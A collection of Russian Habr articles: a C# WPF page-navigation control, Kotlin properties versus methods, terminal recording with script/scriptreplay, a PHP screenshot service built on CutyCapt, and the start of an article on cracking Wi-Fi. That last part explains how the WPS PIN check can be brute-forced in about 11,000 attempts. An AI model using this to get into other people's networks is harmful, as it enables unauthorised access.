public event RoutedEventHandler Navigated
{
add { base.AddHandler(FloppyPages.NavigatedRoutedEvent, value); }
remove { base.RemoveHandler(FloppyPages.NavigatedRoutedEvent, value); }
}
public event RoutedEventHandler WentBack
{
add { base.AddHandler(FloppyPages.WentBackRoutedEvent, value); }
remove { base.RemoveHandler(FloppyPages.WentBackRoutedEvent, value); }
}
#endregion
#region Public Members
public IFloppyPage CurrentPage
{
get
{
if (journal.Count > 0)
return journal[journal.Count - 1];
else
return null;
}
set { /\*Использую Binding\*/ }
}
public int JournalCount
{
get
{
return journal.Count;
}
set { /\*Использую Binding\*/ }
}
public void Navigate(IFloppyPage page)
{
Start\_Navigate(page);
}
public bool GoBack()
{
return Start\_GoBack();
}
public bool CanGoBack
{
get
{
if (journal.Count > 1)
return true;
else
return false;
}
set { /\*Использую Binding\*/ }
}
#endregion
#region Private OnFirstPage
private void OnFirstPage(IFloppyPage page)
{
if (page != null && IsDoneInitialization)
{
if (GridNumber)
frame1.Navigate(page);
else
frame2.Navigate(page);
page.Navigate += Page\_Navigate;
page.GoBack += Page\_GoBack;
journal.Clear();
journal.Add(page);
OnPropertyChanged("JournalCount");
OnPropertyChanged("CanGoBack");
OnPropertyChanged("CurrentPage");
}
}
#endregion
#region Public OnApplyTemplate
public override void OnApplyTemplate()
{
base.OnApplyTemplate();
mainGrid = GetTemplateChild("mainGrid") as Grid;
grid1 = GetTemplateChild("grid1") as Grid;
if (grid1 != null)
grid1.Margin = new Thickness(0);
grid2 = GetTemplateChild("grid2") as Grid;
if (grid2 != null)
grid2.Margin = new Thickness(this.ActualWidth, 0, (-1 \* this.ActualWidth), 0);
frame1 = GetTemplateChild("frame1") as Frame;
frame2 = GetTemplateChild("frame2") as Frame;
animation1 = mainGrid.Resources["grid1Animation"] as BeginStoryboard;
animation2 = mainGrid.Resources["grid2Animation"] as BeginStoryboard;
animation3 = mainGrid.Resources["grid3Animation"] as BeginStoryboard;
animation4 = mainGrid.Resources["grid4Animation"] as BeginStoryboard;
if (animation1 != null)
if (animation1.Storyboard != null)
animation1.Storyboard.Completed += NewGridMargin\_Completed;
if (animation2 != null)
if (animation2.Storyboard != null)
animation2.Storyboard.Completed += NewGridMargin\_Completed;
if (animation3 != null)
if (animation3.Storyboard != null)
animation3.Storyboard.Completed += OldGridMargin\_Completed;
if (animation4 != null)
if (animation4.Storyboard != null)
animation4.Storyboard.Completed += OldGridMargin\_Completed;
if (mainGrid != null)
{
mainGrid.SizeChanged += (sender, e) =>
{
Application.Current.Resources["Dynamic.ThicknessAnimation.Margin"] =
new Thickness(this.ActualWidth, 0, -1 \* this.ActualWidth, 0);
};
}
IsDoneInitialization = true;
FirstPage = new DefaultPage();
}
#endregion
#region Private Events
private void Page\_Navigate(IFloppyPage page, FloppyPageEventArgs e)
{
Start\_Navigate(page);
}
private void Page\_GoBack(FloppyPageEventArgs e)
{
Start\_GoBack();
}
private void NewGridMargin\_Completed(object sender, EventArgs e)
{
Set\_NewMargin();
}
private void OldGridMargin\_Completed(object sender, EventArgs e)
{
Set\_OldMargin();
}
#endregion
#region Private Navigate
private void Start\_Navigate(IFloppyPage page)
{
if (page != null && IsDoneAnimation)
{
IsDoneAnimation = false;
GridNumber = !GridNumber;
page.Navigate += Page\_Navigate;
page.GoBack += Page\_GoBack;
if (!GridNumber)
{
animation1.Storyboard.Stop();
frame2.Navigate(page);
Panel.SetZIndex(grid1, 0);
Panel.SetZIndex(grid2, 1);
grid2.Visibility = Visibility.Visible;
animation2.Storyboard.Begin();
}
else
{
animation2.Storyboard.Stop();
frame1.Navigate(page);
Panel.SetZIndex(grid2, 0);
Panel.SetZIndex(grid1, 1);
grid1.Visibility = Visibility.Visible;
animation1.Storyboard.Begin();
}
journal.Add(page);
OnPropertyChanged("JournalCount");
OnPropertyChanged("CurrentPage");
OnPropertyChanged("CanGoBack");
base.RaiseEvent(new RoutedEventArgs(FloppyPages.NavigatedRoutedEvent, this));
}
}
private void Set\_NewMargin()
{
if (!GridNumber)
{
grid2.Margin = new Thickness(0);
grid1.Margin = new Thickness(this.ActualWidth, 0, (-1 \* this.ActualWidth), 0);
grid1.Visibility = Visibility.Hidden;
}
else
{
grid1.Margin = new Thickness(0);
grid2.Margin = new Thickness(this.ActualWidth, 0, (-1 \* this.ActualWidth), 0);
grid2.Visibility = Visibility.Hidden;
}
IsDoneAnimation = true;
}
#endregion
#region Private GoBack
private bool Start\_GoBack()
{
if (journal.Count > 1 && IsDoneAnimation)
{
IsDoneAnimation = false;
GridNumber = !GridNumber;
journal[journal.Count - 1].Navigate -= Page\_Navigate;
journal[journal.Count - 1].GoBack -= Page\_GoBack;
grid1.Visibility = Visibility.Visible;
grid2.Visibility = Visibility.Visible;
if (!GridNumber)
{
animation4.Storyboard.Stop();
grid2.Margin = new Thickness(0);
frame2.Navigate(journal[journal.Count - 2]);
animation3.Storyboard.Begin();
}
else
{
animation3.Storyboard.Stop();
grid1.Margin = new Thickness(0);
frame1.Navigate(journal[journal.Count - 2]);
animation4.Storyboard.Begin();
}
journal.Remove(journal[journal.Count - 1]);
OnPropertyChanged("JournalCount");
OnPropertyChanged("CurrentPage");
OnPropertyChanged("CanGoBack");
base.RaiseEvent(new RoutedEventArgs(FloppyPages.WentBackRoutedEvent, this));
return true;
}
else
return false;
}
private void Set\_OldMargin()
{
if (!GridNumber)
{
Panel.SetZIndex(grid1, 0);
Panel.SetZIndex(grid2, 1);
grid1.Margin = new Thickness(this.ActualWidth, 0, (-1 \* this.ActualWidth), 0);
grid1.Visibility = Visibility.Hidden;
}
else
{
Panel.SetZIndex(grid1, 1);
Panel.SetZIndex(grid2, 0);
grid2.Margin = new Thickness(this.ActualWidth, 0, (-1 \* this.ActualWidth), 0);
grid2.Visibility = Visibility.Hidden;
}
IsDoneAnimation = true;
}
#endregion
#region INotifyPropertyChanged Members
public event PropertyChangedEventHandler PropertyChanged;
private void OnPropertyChanged(string propertyName)
{
PropertyChangedEventHandler handler = PropertyChanged;
if (handler != null)
handler(this, new PropertyChangedEventArgs(propertyName));
}
#endregion
}
#endregion
}
```
Начну с того, что ещё ранее вы могли заметить в xaml разметке этого элемента ресурс:
«Dynamic.ThicknessAnimation.Margin».
И очень странно, почему там стояли такие размеры: 10,0,-10,0;
На самом деле это не так важно, потому что при сборке мы автоматически подписываемся на событие SizeChanged элемента mainGrid в методе OnApplyTemplate().
```
if (mainGrid != null)
{
mainGrid.SizeChanged += (sender, e) =>
{
Application.Current.Resources["Dynamic.ThicknessAnimation.Margin"] =
new Thickness(this.ActualWidth, 0, -1 * this.ActualWidth, 0);
};
}
```
Благодаря такой реализации мы получаем элемент управления, где анимация двигается на то расстояние, на которое мы укажем, то есть просто изменив размер окна.
Напомню кстати говоря, что в методе OnApplyTemplate() мы получаем ссылки на все мелкие элементы из разметки методом GetTemplateChild(«mainGrid»);
Алгоритм получился таким: вы как бы видите одну страницу, потом при переходе на следующую страницу с правого края вылезает вторая страница. Первая страница уходит на задний план, затем после окончания анимации первая страница уходит в правый край где была вторая страница.
Таким образом мы получаем две чередующие панели, на которых лежат frame1 и frame2. Благодаря переменной GridNumber мы проверяем, на какой grid мы попали и на каком frame поменять страницу.
Так же здесь реализован журнал, но в нём ничего интересного нет. Обычный список, который удаляет IFloppyPage только после перехода «Назад» (GoBack).
Да и ещё. Как только приложение начинает свою жизнь, ему присваивается первая страница, это может быть либо DefaultPage по умолчанию, либо та страница, которую укажете вы. Затем FloppyPages автоматически привяжет ваш IFloppyPage к событию Navigate и GoBack. Так он будет следить, когда на одной из ваших IFloppyPage вы решитесь перейти на другую страницу.
Теперь покажу окно, где и создаётся FloppyPages, и присваивается первая страница. Хочу сразу предупредить, что я делал акцент не на внешний дизайн и округлённые кнопочки, а на структуру и её дальнейшее использование.
**partial class Browser : Window**
```
using System.Windows;
using UFC.Pages;
namespace UFC
{
public partial class Browser : Window
{
public Browser()
{
InitializeComponent();
}
private void floppyPages_Navigated(object sender, RoutedEventArgs e)
{
if (floppyPages.CanGoBack)
BackButton.Visibility = Visibility.Visible;
}
private void floppyPages_WentBack(object sender, RoutedEventArgs e)
{
if (!floppyPages.CanGoBack)
BackButton.Visibility = Visibility.Hidden;
}
private void Button_GoBack(object sender, RoutedEventArgs e)
{
floppyPages.GoBack();
}
private void Window_Loaded(object sender, RoutedEventArgs e)
{
floppyPages.FirstPage = new MainPage();
}
}
}
```
**Window xClass UFC Browser**
```
```
Такое проектное решение без всякого труда позволит вам добавить и ViewModel, и Model и возможность использовать один и тот же DataContext на разных страницах.
Спасибо за внимание. | https://habr.com/ru/post/317896/ | null | ru | null |
# Свойства против методов
На первый взгляд, такой вопрос как выбор свойства или метода кажется простым. Но это до тех пор, пока вы не столкнётесь с непониманием в своей команде. Хотя есть устоявшиеся практики, их формулировки достаточно расплывчаты. В такого рода вопросах есть некоторая степень свободы, которая затрудняет наш выбор, а кажущаяся простота даёт плодородную почву для споров.
Бэкграунд Java-программистов
----------------------------
Язык программирования — это основной инструмент программиста. Наличие или отсутствие каких-либо конструкций формирует определённый стиль кодирования. Вот, например, в Java нет свойств, есть только поля и методы.
Возьмём для примера следующий класс:
```
public class Point {
public double x;
public double y;
}
```
Мы имеем класс, описывающий точку на плоскости. Что с ним не так? Во-первых, так как это открытые поля, то они доступны для редактирования извне. Во-вторых, мы открываем детали реализации, что храним точку в декартовых координатах.
Поэтому, обычно, так не пишут, а инкапсулируют поля за геттерами и сеттерами:
```
public class Point {
private double x;
private double y;
public Point(double x, double y) {
this.x = x;
this.y = y;
}
public double getX() {
return x;
}
public void setX(double x) {
this.x = x;
}
public double getY() {
return y;
}
public void setY(double y) {
this.y = y;
}
}
```
Стандартная практика на Java, в IDE даже есть специальные генераторы для этого.
Мы убрали прямой доступ к полям с помощью методов get и set.
Хотя они выглядят как функции, в сущности, являются геттерами и сеттерами.
Сахар в Котлине
---------------
В Котлине у нас есть свойства и мы можем не писать простыню из методов get и set:
```
class Point(var x: Double, var y: Double)
```
Выглядит лаконично, не так ли? Обращение к свойству тоже удобно: `x` вместо `getX()`.
При необходимости мы можем переопределить геттер или сеттер:
```
var x: Double = 0
set(value) {
if (value >= 0) field = value
}
```
В Котлине мы всегда имеем дело со свойствами, поля скрыты за сеттерами и геттерами. То есть мы имеем все преимущества методов, но при этом можем обращаться как с полями.
Нам подвезли сахар, но старые привычки остались. Я часто замечаю, что программисты на Java продолжают писать методы get и set в классах на Котлине, когда это уже необязательно. Название самих методов говорит о том, что их можно сконвертировать в свойства. Но всегда ли нужно предпочесть свойство методу? Если у нас есть функция без параметров, то выбор не всегда очевиден.
Общепринятые соглашения
-----------------------
[Официальная документация](https://kotlinlang.org/docs/reference/coding-conventions.html#functions-vs-properties) говорит нам, что функции без параметров могут быть взаимозаменяемы read-only свойствами.
Ниже дан алгоритм, по которому можно определить, когда предпочесть свойство методу:
* если свойство не бросает исключение (exception)
* дёшево для вычисления (или можно закешировать при первом запуске)
* возвращает одно и то же значение при каждом вызове, если состояние объекта не изменилось
Я ожидал увидеть более развёрнутое руководство. Для первого пункта я бы добавил про любой сайд-эффект, который может происходить при вызове функции. С последним пунктом тоже не всё так просто.
Например, если у нас есть класс User:
```
class User(
val firstName: String,
val lastName: String
)
```
Нужно ли полное имя делать свойством или всё же методом?
```
val fullName get() = "$firstName $lastName"
```
В данном случае создаётся всегда новый объект String, хотя это деталь реализации. Но значения всегда будут равны при сравнении через equals. На крайний случай можно закешировать fullName, пожертвовав памятью.
Но вот пункт про вычислимость вызывает больше всего вопросов.
Сложно или легко вычислимые свойства
------------------------------------
Кажется, это довольно расплывчатое требование. Что значит сложно вычислимое? Если подразумеваются тяжёлые вычисления, такие как запрос в сеть или к БД, то мы должны будем вынести вызов в отдельный поток. В этом случае асинхронный вызов будет выглядеть по-другому: метод с коллбэком, реактивный поток или корутина. Но речь, скорее всего, не об этом.
Рассмотрим следующий пример:
```
class DocumentModel {
val activePageIndex: Int
}
```
У нас есть класс модели документа, у которого есть свойство activePageIndex, которое возвращает текущий индекс страницы. Мы не знаем внутренней реализации, но предполагаем, что это свойство и согласно принятому соглашению, мы можем не беспокоиться о производительности и спокойно использовать его в цикле:
```
images.forEach { image ->
document.addImage(image, document.activePageIndex)
}
```
Допустим, чтобы получить текущую страницу, нужно пробежаться по всему документу, то есть сделать некоторые вычисления. В этом случае оптимально сохранить текущую страницу в переменную, прежде чем использовать её в цикле:
```
val pageIndex = document.activePageIndex
images.forEach { image ->
document.addImage(image, pageIndex)
}
```
Но чтобы это понять, нужно заглянуть в реализацию. Когда программист видит свойство, то он делает некоторые допущения в использовании, полагая, что автор класса позаботился о принятом соглашении. В этом случае автор допустил небрежность, чем ввёл в заблуждение. По хорошему, нужно сделать метод вместо свойства для получения активной страницы и назвать её как-то по-другому, например, findActivePageIndex.
Интерфейс важнее реализации
---------------------------
С одной стороны, приведённый выше пример показывает, насколько важно думать об интерфейсе, как он будет использоваться на клиентской стороне. С другой стороны, реализация накладывает ограничение на интерфейс. Если сложные вычисления, то нужно использовать функцию вместо свойства. Здесь мы вступаем в некоторое противоречие, что первичнее, реализация или интерфейс? Мы заранее не можем сказать об эффективности и есть соблазн впасть в крайность — всегда делать методы в интерфейсе. Особенно после Java непривычно видеть свойства в интерфейсе. При этом, метод, начинающийся со слова get или set никого не смущает.
При проектировании интерфейса, по-моему, мы должны в первую очередь думать о клиентском коде. Если мы будем ставить реализацию впереди интерфейса, то мы получим плохой API класса. Цена такой ошибки может быть рефакторинг всех вызовов в проекте. Разработчики библиотек хорошо это понимают, когда изменение API ломает сторонний код или меняет поведение класса, на которое клиент не рассчитывал.
Частая ситуация, что интерфейс создают при помощи рефакторинга в IDE, извлекая из существующего класса. Похоже, что это порочная практика. В результате такого рефакторинга на выходе мы получаем кашу из методов, зачастую несвязанных между собой.
Интерфейс — это так же важно, как и подбор подходящего имени для переменной или функции. Это контракт между автором и пользователем интерфейса. Реализаций может быть множество, включая самые неоптимальные. Это уже детали. При реализации свойств мы должны позаботиться, чтобы оно соответствовало принятому соглашению о лёгкой вычислимости.
Фундаментальные отличия
-----------------------
Хорошо, предположим, мы принимаем, что интерфейс первичен по отношению к реализации. Но из каких соображений исходить при его проектировании. В каком случае выбрать свойство, а когда нужен метод?
У свойств и методов есть более глубокие различия. Когда мы проектируем класс, то его можно разделить на две условные части:
* Состояние. Можно рассматривать как данные, которые описывают характеристики или черты объекта. В этом случае больше подходят свойства.
* Поведение. То есть то, что можно сделать с объектом. За это отвечают методы.
Они обычно изменяют состояние.
Это довольно простое правило, которое поможет при выборе свойства или метода.
> Методы принято начинать с глагола и если вы не можете подобрать ничего лучше, чем get/set, то это явный признак свойства.
Вместо заключения
-----------------
Разберём первоначальный пример, только сделаем его интерфейсом:
```
interface Point {
var x: Double
var y: Double
}
```
Так что с ним не так?
Во-первых, два отдельных сеттера для координат x и y. Когда мы определяем точку в пространстве, то мы задаём их в паре, то есть атомарно. Меняя их независимо, мы создаём возможность для ошибок.
Добавим метод для задания координат и сделаем координаты x и y только для чтения:
```
interface Point {
val x: Double
val y: Double
fun setCoordinates(x: Double, y: Double)
}
```
Во-вторых, интерфейс недостаточно гибкий. Иногда удобно работать с полярными координатами, но в интерфейсе только прямоугольные. Таким образом, мы неявно раскрываем реализацию.
Расширим интерфейс:
```
interface Point {
val x: Double
val y: Double
val radius: Double
val angle: Double
fun setCartesian(x: Double, y: Double)
fun setPolar(radius: Double, angle: Double)
}
```
Как мы видим, хороший интерфейс спроектировать не так просто. Хотя можно было бы ограничиться data-классом:
```
data class Point(
var x: Double,
var y: Double
)
``` | https://habr.com/ru/post/541308/ | null | ru | null |
# Консольный скринкаст
Оказывается, записывать сессии работы в терминале — совсем просто. Программа [script](http://unixhelp.ed.ac.uk/CGI/man-cgi?script), входящая в пакет [util-linux-ng](ftp://ftp.kernel.org/pub/linux/utils/util-linux-ng/) может записать все ваши действия в файл. В выходном файле ( по умолчанию он называется «typescript» ) сохраняется полный лог вашей работы за терминалом, включая вывод консоли. Можно использовать его в разных целях, начиная с записи студенческих лабораторных работ и заканчивая слежением за тем, кто и что делал за вашим терминалом.
Но самое интересное — возможность последующего проигрывание этого лога в реальном времени с помощью perl-скрипта под названием [scriptreplay](http://unixhelp.ed.ac.uk/CGI/man-cgi?scriptreplay+1)
Делается это так:
`> script -t 2>replayfile
> # делаете свои дела
> Ctrl^D
> scriptreplay ./replayfile`
Опция -t выводит таймлайн записи в stderr, который перенаправляется в отдельный файл, используемый scriptreplay'ем. По умолчанию scriptreplay читает файл «typescript» и проигрывается в реальном времени. Конечно, это можно изменить, указав другой файл и другую временную шкалу. Например так:
`> script -t 2>replayfile my_typescript
> scriptreplay ./replayfile ./my_typescript 3`
Число 3 обозназначает в данном случае то, что действия будут проигрываться в 3 раза быстрее.
Таким же образом вы можете записывать сеансы работы с участием консольных псевдографических приложений — особенно это полезно, если вы выполняете в них некие критические действия ( например работаете с утилитой разбиения дисков cfdisk ) и необходимо провести последующий разбор полетов или мастер-класс. Еще один вариант использования — создание туториалов ( отличный способ продемонстрировать всем ваше виртуозное обращение с vim'ом и mc )
P.S. Небольшая проблема: записанная в одном разрешении терминала сессия с участием псевдографики не будет корректно проигрываться на другом разрешении. | https://habr.com/ru/post/49385/ | null | ru | null |
# Программируем Windows 7: Taskbar. Часть 9 – PeekBitmap
Ранее я писал о возможности панели задач Windows 7 изменять preview для окна. Мы говорили о том, что в preview можно отображать как часть окна, так и собственное изображение. У Windows 7 есть такая приятная особенность, что если мы наведем курсор мыши на preview окна, то все остальные окна скроются, а выделенное окно будет отображаться. Выглядит это следующим образом.
Панель задач Windows 7 в этом случае также позволяет нам задать собственное поведение. В этом случае мы имеем возможность задать содержимое нашей формы нашим собственным изображением. Например, там мы можем написать какой-то полезный текст. В этом случае сценарий работы может выглядеть следующим образом. У пользователя в панели задач находится приложение, которое что-то выполняет. Он может отслеживать его состояние на основе ProgressBar и OverlayIcon, о которых я писал ранее. Если этой информации ему недостаточно, он может навести курсор мыши на иконку приложение. В этом случае ему отобразится preview, в котором содержится дополнительная информация (о чем я тоже писал). Пользователь может навести на preview нужного окна и в этом случае все окна скроются и на экране останется только выделенное окно. В этом окне мы можем вывести еще больше информации, которая необходима пользователю.
Вообще, по умолчанию при таком сценарии при скрытии остальных окон выведется само содержимое окна. Переопределение содержания окна в этот момент может быть полезно, если на форме информация разрознена и сразу непонятно что происходит в приложении.
Для того, чтобы реализовать подобный сценарий в нашем приложении мы воспользуемся .NET Interop Sample Library. Для этих целей предназначен метод SetPeekBitmap класса-обертки. Генерировать изображение необходимо в момент времени, когда пользователь наводит на preview окна. Для этих целей переопределим метод WndProc и отловим событие WM\_DWMSENDICONICLIVEPREVIEWBITMAP. Как раз в этот момент времени необходимо генерировать изображение.
`protected override void WndProc(ref Message m)
{
if (m.Msg == WM_DWMSENDICONICLIVEPREVIEWBITMAP)
{
WindowsFormsExtensions.SetPeekBitmap(this, GeneratePeekBitmap(this, Images._111), true);
}
base.WndProc(ref m);
}`
В данном случае мы вызываем метод, который будет генерировать нужный нам Bitmap. Генерация этого изображения также не представляет какой-либо сложности. В общем случае мы можем скопировать в этот Bitmap снимок нашего окна и поверх этого нарисовать нужную нам информацию. Давайте в демонстрационном приложении я заполню эту область неким фоном и нарисую значок состояния поверх этого.
`private static Bitmap GeneratePeekBitmap(Form form, Image stateImage)
{
var preview = new Bitmap(form.ClientSize.Width, form.ClientSize.Height);
var g = Graphics.FromImage(preview);
g.DrawImage(Images.background.GetThumbnailImage(form.ClientSize.Width, form.ClientSize.Height, null, IntPtr.Zero), 0, 0);
if (stateImage != null)
{
Size thumbSize = new Size(100, 100);
g.DrawImage(stateImage.GetThumbnailImage(thumbSize.Width, thumbSize.Height, null, IntPtr.Zero), form.ClientSize.Width / 2 - thumbSize.Width / 2, form.ClientSize.Height / 2 - thumbSize.Height / 2);
}
return preview;
}`
Обратите внимание, что для корректного отображения размеры этого изображения должны совпадать с размером формы. После этого у нас получится приложение, которое выглядит следующим образом.
На самом деле, после это изображение можно устанавливать откуда угодно. Главное, чтобы это изображение также генерировалось в момент обработки указанного выше события. Например, в демонстрационном приложении я также устанавливаю это изображение в таймере. Таким образом я могу навести курсор мыши на preview и наблюдать за тем как изменяется сама форма при срабатывании таймера.
Кроме того, у метода SetPeekBitmap существует третий параметр логического типа (boolean). Изменяя этот параметр можно указать нужно ли убирать рамку приложения, когда осуществляется подобный просмотр. Например, если я установлю этот параметр в false, то увижу следующий результат.
Демонстрационное приложение:
[Taskbar-PeekBitmap.zip](http://blogs.gotdotnet.ru/personal/sergun/ct.ashx?id=3b500561-a385-4048-b350-471235991df6&url=http%3a%2f%2fblogs.gotdotnet.ru%2fpersonal%2fsergun%2fcontent%2fbinary%2fWindowsLiveWriter%2fWindows7Taskbar.9IconicThumbnail_DDE8%2fTaskbar-PeekBitmap.zip) | https://habr.com/ru/post/60791/ | null | ru | null |
# Сам себе сервис скриншотов
#### Все началось с ...
Несколько лет назад я только начал знакомиться с web-программированием, и одним из моих первых «проектов» был каталожек сайтов. Разработка велась для себя, в целях повышения опыта. Но т.к. аналогичных сайтов тьма-тьмущая, хотелось сделать что-то особенное. Я решил, что каждый сайт в каталоге будет представлен со скриншотом. Как все это автоматизировать я не знал, потому первое время я делал все скриншоты руками и заливал их уже как готовые файлы.
Шло время, проект «покрылся пылью», времени заниматься ним не было, но примерно год назад накатила новая «волна креатива» и захотелось мне решить «задачку автоскриншотера».
Первое, что пришло на ум — это готовые сервисы по созданию скриншотов, предоставяющие API. Но, перебрав некоторые (сейчас уже названия не помню), понял, что это не для меня: возможности были довольно урезаны, иногда приходилось довольно долго ждать «очереди», иногда сайты на скринах выглядели довольно убого. А главной проблемой было то, что все это должно было работать асинхронно и из скрипта я бы не смог понять — то ли сервис отдал мне временную картинку-заглушку, то ли уже готовый скриншот сайта.
Итого, я решил сделать собственный «велосипед».
#### Выбор инструмента
Для начала, нужно было найти утилитку, умеющую делать скриншоты, работающую в linux из командной строки (сайт крутится у меня на ubuntu server, потому иксов нет). Мне помог коллега по работе, дав ссылку на [CutyCapt](http://cutycapt.sourceforge.net/).
CutyCapt — небольшая кросс-платформенная утилита (работающая из командной строки) для создания скриншота веб-страницы и сохранения в различные векторные и растровые форматы, включая SVG, PDF, PS, PNG, JPEG, TIFF, GIF, BM P(перевод оригинального описания с оф. сайта).
Чтобы не заниматься копипастом с [официального сайта](http://cutycapt.sourceforge.net/) просто скажу, что там уже все описано: установка, зависимости, параметры запуска, пример, а также способ использования при отсутствии X-сервера (через xvfb-run).
#### Кодинг
Итак, с инструментом определились. Вернемся к сайту. Я видел это так: у администратора на страничке описания есть кнопка «сделать скриншот», которая через AJAX запрос вызывает скрипт, создающий картинку, выполняющий с ней нужные обработки (ресайз/кроп/эскиз) и др.
Сказано — сделано. Приведу часть кода моего PHP-скрипта (оставив самое основное):
```
PHP
// тут какие-то действия по получению URL сайта, скрин которого нужно создать
// будь то выборка из БД (по переданному id), или еще что-то
$url = 'http://habrahabr.ru'; // "хардкод" для примера
// имя временного файла для сохранения скриншота
$tmpfname = tempnam('/tmp', 'catalog') . '.jpg';
// эскейпим перед вставкой в строку команды
$url = escapeshellarg($url);
// собираем командную строку
// из параметров для CutyCapt я передавал только мин. ширину экрана, url и имя файла, куда сохранять скриншот - мне этого хватило
// о "xvfb-run" я писал выше
$cmd = sprintf('xvfb-run --server-args="-screen 0, 1024x768x24" /ПАПКА/C/БИНАРНИКОМ/CutyCapt --min-width=1280 --url=%s --out=\'%s\'', $url, $tmpfname);
// Выполняем
exec($cmd);
// Проверяем, что скрин создался
if (file_exists($tmpfname)) {
// проверяем, что он не 0 байт (у меня иногда так случалось)
if (filesize($tmpfname) 1) {
// а тут уже делаем с файлом по имени $tmpfname все, что душе угодно
// делаем его копию в нужную папку, изменяем размер, обрезаем в нужных пропорциях, создаем дополнительный эскиз.....
// я, например, использовал phpthumb (phpthumb.gxdlabs.com) для обработки
$f = date("ymd_his", time()).".jpg"; // имя для скрина
if (copy($tmpfname, IMAGES_DIR.$f)) {
if (file_exists(IMAGES_DIR.$f)) {
try{
$thumb = PhpThumbFactory::create(IMAGES_DIR.$f);
// качество jpg
$thumb->setOptions( array('jpegQuality' => 90) );
// изменение размер
$thumb->resize(800);
// обрезка до квадрата 800x800px
$thumb->crop(0, 0, 800, 800);
$thumb->save(IMAGES_DIR.$f);
// эскизик
$thumb->resize(200)->crop(0,0,200,150);
$thumb->save(IMAGES_DIR.'t_'.$f);
}
catch(exception $e) {
// обрабатываем исключение...
}
// здесь я сохранял имя скрина в БД, и др.
}
}
}
// удаляем временный файл
unlink($tmpfname);
}
// тут я отправлял результат работы в json - инфу об удачном/неудачном создании скрина
?>
```
Ах да, хотел бы поделиться информацией о «подводных камнях»:
1. Иногда CutyCapt очень долго скринил, но так и не доделывал свою работу;
2. Иногда делал 0-байтные скрины
3. Иногда вылетал с ошибкой на некоторых flash-сайтах. Пришлось пожертвовать ими и просто удалить flash-plugin из системы. Теперь просто на скринах на месте флеша — пусто, зато вылетов больше нет из-за флеша.
**Литература:**
[Официальный сайт CutyCapt](http://cutycapt.sourceforge.net/)
[PHP.net](http://www.php.net/)
P.S. Если кому кажется, что я мало написал про CutyCapt, говорите — я дополню статью (просто мне показалось, что на оф. сайте все четко описано) | https://habr.com/ru/post/111188/ | null | ru | null |
# Взломать Wi-Fi за 10 часов
Еще не так давно казалось, что беспроводная сеть, защищенная с помощью технологии WPA2, вполне безопасна. Подобрать простой ключ для подключения действительно возможно. Но если установить по-настоящему длинный ключ, то сбрутить его не помогут ни радужные таблицы, ни даже ускорения за счет GPU. Но, как оказалось, подключиться к беспроводной сети можно и без этого — воспользовавшись недавно найденной уязвимостью в протоколе WPS.
#### Цена упрощений
Открытых точек доступа, к которым вообще не надо вводить ключ для подключения, становится все меньше и меньше. Кажется, что скоро их можно будет занести в Красную книгу. Если раньше человек мог даже и не знать, что беспроводную сеть можно закрыть ключом, обезопасив себя от посторонних подключений, то теперь ему все чаще подсказывают о такой возможности. Взять хотя бы кастомные прошивки, которые выпускают ведущие провайдеры для популярных моделей роутеров, чтобы упростить настройку. Нужно указать две вещи — логин/пароль и… ключ для защиты беспроводной сети. Что еще более важно, сами производители оборудования стараются сделать процесс настройки незамысловатым. Так, большинство современных роутеров поддерживают механизм WPS (Wi-Fi Protected Setup). С его помощью пользователь за считанные секунды может настроить безопасную беспроводную сеть, вообще не забивая себе голову тем, что «где-то еще нужно включить шифрование и прописать WPA-ключ». Ввел в системе восьмизначный символьный PIN, который написан на роутере, – и готово! И вот здесь держись крепче. В декабре сразу два исследователя рассказали о серьезных фундаментальных прорехах в протоколе WPS. Это как черный ход для любого роутера. Оказалось, что если в точке доступа активирован WPS (который, на минуточку, включен в большинстве роутеров по умолчанию), то подобрать PIN для подключения и извлечь ключ для подключения можно за считанные часы!
#### Как работает WPS?
Задумка создателей WPS хороша. Механизм автоматически задает имя сети и шифрование. Таким образом, пользователю нет необходимости лезть в веб-интерфейс и разбираться со сложными настройками. А к уже настроенной сети можно без проблем добавить любое устройство (например, ноутбук): если правильно ввести PIN, то он получит все необходимые настройки. Это очень удобно, поэтому все крупные игроки на рынке (Cisco/Linksys, Netgear, D-Link, Belkin, Buffalo, ZyXEL) сейчас предлагают беспроводные роутеры с поддержкой WPS. Разберемся чуть подробнее.
Существует три варианта использования WPS:
1. **Push-Button-Connect (PBC)**. Пользователь нажимает специальную кнопку на роутере (хардварную) и на компьютере (софтварную), тем самым активируя процесс настройки. Нам это неинтересно.
2. **Ввод PIN-кода в веб-интерфейсе**.Пользователь заходит через браузер в административный интерфейс роутера и вводит там PIN-код из восьми цифр, написанный на корпусе устройства (рисунок 1), после чего происходит процесс настройки. Этот способ подходит скорее для первоначальной конфигурации роутера, поэтому мы его рассматривать тоже не будем.###### Рисунок 1. PIN-код WPS, написанный на корпусе роутера
3. **Ввод PIN-кода на компьютере пользователя** (рисунок 2).
При соединении с роутером можно открыть специальную сессию WPS, в рамках которой настроить роутер или получить уже имеющиеся настройки, если правильно ввести PIN-код. Вот это уже привлекательно. Для открытия подобной сессии не нужна никакая аутентификация. Это может сделать любой желающий! Получается, что PIN-код уже потенциально подвержен атаке типа bruteforce. Но это лишь цветочки.###### Рисунок 2. Окно для ввода PIN-кода WPS
#### Уязвимость
Как я уже заметил ранее, PIN-код состоит из восьми цифр — следовательно, существует 10^8 (100 000 000) вариантов для подбора. Однако количество вариантов можно существенно сократить. Дело в том, что последняя цифра PIN-кода представляет собой некую контрольную сумму, которая высчитывается на основании семи первых цифр. В итоге получаем уже 10^7 (10 000 000) вариантов. Но и это еще не все! Далее внимательно смотрим на устройство протокола аутентификации WPS (рисунок 3). Такое ощущение, что его специально проектировали, чтобы оставить возможность для брутфорса. Оказывается, проверка PIN-кода осуществляется в два этапа. Он делится на две равные части, и каждая часть проверяется отдельно!
###### Рисунок 3. Протокол аутентификации WPS
Посмотрим на схему:
1. Если после отсылки сообщения M4 атакующий получил в ответ EAP-NACK, то он может быть уверен, что первая часть PIN-кода неправильная.
2. Если же он получил EAP-NACK после отсылки M6, то, соответственно, вторая часть PIN-кода неверна. Получаем 10^4 (10 000) вариантов для первой половины и 10^3 (1 000) для второй. В итоге имеем всего лишь 11 000 вариантов для полного перебора. Чтобы лучше понять, как это будет работать, посмотри на схему.
